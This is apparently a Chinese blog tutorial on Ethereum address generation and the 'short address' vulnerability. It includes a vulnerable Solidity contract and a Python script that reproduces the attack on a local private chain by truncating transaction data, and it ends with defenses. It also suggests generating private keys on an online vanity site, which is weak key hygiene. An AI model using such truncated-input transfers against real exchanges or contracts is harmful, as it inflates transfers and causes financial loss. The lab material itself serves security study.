相关原理

以太坊生成地址过程

  1. 生成 256 位随机数作为私钥
  2. 将私钥转化为 secp256k1 非压缩格式的公钥,即 512 位的公钥
  3. 使用散列算法 Keccak256 计算公钥的哈希值,转化为十六进制字符串
  4. 取十六进制字符串的后 40 个字母,开头加上 0x 作为地址 ```python import secp256k1 from Crypto.Hash import keccak

def get_eth_addr(private_key_str=None): if private_key_str is None: private_key = secp256k1.PrivateKey() private_key_str = private_key.serialize() else: private_key_bytes = bytes.fromhex(private_key_str)

  1. # 将私钥转化为secp256k1公钥
  2. private_key = secp256k1.PrivateKey(private_key_bytes)
  3. public_key_bytes = private_key.pubkey.serialize(compressed=False)
  4. public_key_str = public_key_bytes.hex()
  5. keccak_hash = keccak.new(digest_bits=256)
  6. keccak_hash.update(public_key_bytes[1:])
  7. h = keccak_hash.hexdigest()
  8. address = '0x' + h[-40:]
  9. return {
  10. "private_key": private_key_str,
  11. "public_key": public_key_str,
  12. "address": address
  13. }

if name == “main“: print(get_eth_addr(“6ead04ad16c381377a35972712b53cfe552694cea9be337bc97291930487c7f8”))

  1. ```bash
  2. apt install pkg-config
  3. pip install secp256k1
  4. pip install pycryptodome

54.png

批量生成地址

在线网站生成指定地址: https://vanity-eth.tk/ ,可指定前缀和后缀爆破生成私钥。
50.png 点击Save可以直接生成json文件,将其下载复制到geth私链keystore即可添加该账户。也可通过geth导入私钥添加账户。

geth通过私钥导入账户

  1. 将私钥保存到pkey.txt文件中
  2. 导入将私钥导入geth:geth account import pkey.txt

51.png

  1. 找到私钥对应的keystore文件: geth account list

52.png

  1. 将该keystore文件移动到私链的keystore文件夹下,进入console查看是否添加成功53.png

    短地址攻击原理

    短地址攻击。短地址攻击是指攻击者通过构造末尾为零的地址进行合约调用,并在调用参数中故意将地址末尾的零舍去,从而利用虚拟机对于数据的白动补全机制来将第二个参数进行移位放大。短地址攻击通常的发生场所在交易所,若用户在交易所发起对合约进行转账的操作,并使用了恶意构造的短地址作为目标。交易所如果没有对用户输入长度进行校验,便会因为短地址漏洞而使得实际转账的金额被扩大若干倍,从而造成大量的资金损失。短地址漏洞的根源在于虚拟机在读取合约调用输入时,对长度不符合要求的字段进行了末尾白动补零的操作从而造成了数据的歧义和参数的移位扩大。
    https://blog.csdn.net/TurkeyCock/article/details/84061796#commentBox

    示例

    攻击场景

    对于这样一个合约,Bob 想要转发 1 token 给 Alice 的账户,然而 Alice 给 Bob 的地址是省略了最后两位0,导致转账 token 翻了 256 倍。
    55.png ```javascript pragma solidity ^0.4.25;

contract short_address { mapping (address => uint) balances;

  1. event Transfer(address indexed _from, address indexed _to, uint256 _value);
  2. function short_address() public {
  3. balances[msg.sender] = 10000;
  4. }
  5. // 向地址转账
  6. function transfer(address to, uint amount) public returns(bool success) {
  7. if (balances[msg.sender] < amount) return false;
  8. balances[msg.sender] -= amount;
  9. balances[to] += amount;
  10. emit Transfer(msg.sender, to, amount);
  11. return true;
  12. }
  13. function getBalance(address addr) public view returns(uint) {
  14. return balances[addr];
  15. }

}

  1. 注意: ValueError: {'code': -32601, 'message': 'the method eth_accounts does not exist/is not available'}<br />玄学错误: --http.api "eth,web3" ==> --http.api eth,web3
  2. <a name="dnAmU"></a>
  3. #### 测试代码
  4. ```python
  5. import os,json,sys
  6. from web3 import Web3,HTTPProvider
  7. class contract:
  8. # 编译合约
  9. def __init__(self,file):
  10. os.system("solcjs "+file+" --bin --abi --optimize")
  11. for fi in os.listdir():
  12. if fi[-3:]=='abi':
  13. os.rename(fi,'tmp.abi')
  14. elif fi[-3:]=='bin':
  15. os.rename(fi,'tmp.bin')
  16. with open('tmp.bin','r') as f:
  17. self.contractBin = "0x"+(f.readlines())[0]
  18. with open('tmp.abi','r') as f:
  19. self.contractAbi = json.loads((f.readlines())[0])
  20. os.remove('tmp.abi')
  21. os.remove('tmp.bin')
  22. print('[!] 合约编译成功...')
  23. # 部署合约
  24. def deploy(self):
  25. self.web3 = Web3(HTTPProvider('http://localhost:60000'))
  26. if not self.web3.isConnected():
  27. exit("[!] 请检查是否开启RPC服务...")
  28. eth = self.web3.eth
  29. eth.default_account = eth.accounts[0]
  30. # 解锁账户
  31. self.web3.geth.personal.unlock_account(eth.accounts[0],'123')
  32. gasValue = eth.estimateGas({'data':self.contractBin})
  33. print("[!] 合约部署预计消耗gas: "+str(gasValue))
  34. tx_hash = eth.contract(
  35. abi=self.contractAbi,
  36. bytecode=self.contractBin).constructor().transact()
  37. receipt=eth.waitForTransactionReceipt(tx_hash)
  38. address = receipt['contractAddress']
  39. print("[!] 合约部署成功,地址: "+str(address))
  40. self.address = address
  41. # 模拟攻击场景
  42. def attack(self):
  43. short_address = self.web3.eth.contract(address=self.address, abi=self.contractAbi)
  44. print("-------------------Account status-----------------------------------")
  45. print("before\n\tBob({}): {} token".format(self.web3.eth.accounts[0],short_address.functions.getBalance(self.web3.eth.accounts[0]).call()))
  46. print("\tAlice({}): {} token".format(self.web3.eth.accounts[3],short_address.functions.getBalance(self.web3.eth.accounts[3]).call()))
  47. # 获取交易data序列
  48. transaction = short_address.functions.transfer(self.web3.eth.accounts[3],1).buildTransaction()
  49. transaction['data']=transaction['data'][:-4]+transaction['data'][-2:]
  50. print("\nBob 向 Alice 转账 1 token...\n")
  51. tx_hash= self.web3.eth.send_transaction(transaction)
  52. self.web3.eth.waitForTransactionReceipt(tx_hash)
  53. print("after")
  54. print("\tBob({}): {} token".format(self.web3.eth.accounts[0],short_address.functions.getBalance(self.web3.eth.accounts[0]).call()))
  55. print("\tAlice({}): {} token".format(self.web3.eth.accounts[3],short_address.functions.getBalance(self.web3.eth.accounts[3]).call()))
  56. if __name__ == "__main__":
  57. contract = contract(sys.argv[1])
  58. contract.deploy()
  59. contract.attack()

56.png
从交易详情可以看到,69 字节数据缺少了 1 字节,数据后默认补 2 位 0
57.png
58.png

防护方案

该漏洞在2017年爆出后,各大交易所已经都在客户端增加了地址长度检查。并且,即使它们不做地址长度检查,web3中也增加了保护,如果地址长度不够,会在前面补0,而不是从数据抢劫。该漏洞的防护主要依靠客户端主动检查地址长度来避免该问题,另外web3层面也增加了参数格式校验。虽然在EVM层仍然可以复现,但是在实际应用场景中基本没有问题。

参考链接

[1]https://blog.csdn.net/TurkeyCock/article/details/84061796#commentBox
[2]https://www.freebuf.com/articles/blockchain-articles/199903.html
[3]倪远东,张超,殷婷婷.智能合约安全漏洞研究综述[J].信息安全学报,2020,5(03):78-99.